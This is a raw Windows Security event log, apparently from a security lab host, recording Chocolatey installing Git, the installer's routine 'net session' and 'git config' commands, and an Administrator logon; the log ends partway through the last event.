RecordNumber=246082
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe54
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x418
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /d /c C:\Windows\system32\silcollector.cmd configure

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246081
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc8c
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246080
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246087
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeec
	New Process Name:	C:\ProgramData\chocolatey\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdd0
	Creator Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\choco.exe" install git --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246086
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd0
	New Process Name:	C:\ProgramData\chocolatey\bin\choco.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	C:\ProgramData\chocolatey\bin\choco.exe install git --fail-on-unfound --yes --no-progress --limit-output --timeout 2700

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246089
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd80
	New Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xbfc
	Creator Process Name:	C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe
	Process Command Line:	"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp" /SL5="$70060,48287735,224256,C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /NOCANCEL /SP- /LOG /COMPONENTS="icons,assoc,assoc_sh,ext,ext\shellhere,ext\guihere,gitlfs,icons\quicklaunch" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246088
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbfc
	New Process Name:	C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeec
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\lib\git.install\tools\Git-2.30.1-64-bit.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /NOCANCEL /SP- /LOG /COMPONENTS="icons,assoc,assoc_sh,ext,ext\shellhere,ext\guihere,gitlfs,icons\quicklaunch" 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246097
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee4
	New Process Name:	C:\Windows\System32\net1.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x39c
	Creator Process Name:	C:\Windows\System32\net.exe
	Process Command Line:	C:\Windows\system32\net1  session 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246096
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x39c
	New Process Name:	C:\Windows\System32\net.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc98
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	net  session 

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246095
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc84
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc98
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246094
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc98
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /d /c net session >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\net-session.txt"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246093
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ac
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xa44
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246092
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa44
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config -l -z --system >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\git-config-get.txt"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246091
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe34
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246090
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config -l -z -f "C:\ProgramData\Git\config" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\git-config-get.txt"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=246102
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8564C

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:40:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246101
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x8564C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:40:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=246100
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:40:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=246099
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:40:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logoff
OpCode=Info
RecordNumber=246098
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x74E8C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246122
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe3c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe10
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246121
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x72EE6

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe10
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd80
	Creator Process Name:	C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-ITQI2.tmp\Git-2.30.1-64-bit.tmp
	Process Command Line:	"C:\Windows\system32\cmd.exe" /D /C .\mingw64\bin\git.exe config --system "http.sslCAInfo" "C:/Program Files/Git/mingw64/ssl/certs/ca-bundle.crt" >"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.out" 2>"C:\Users\Administrator\AppData\Local\Temp\chocolatey\is-OR071.tmp\config-set.err"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

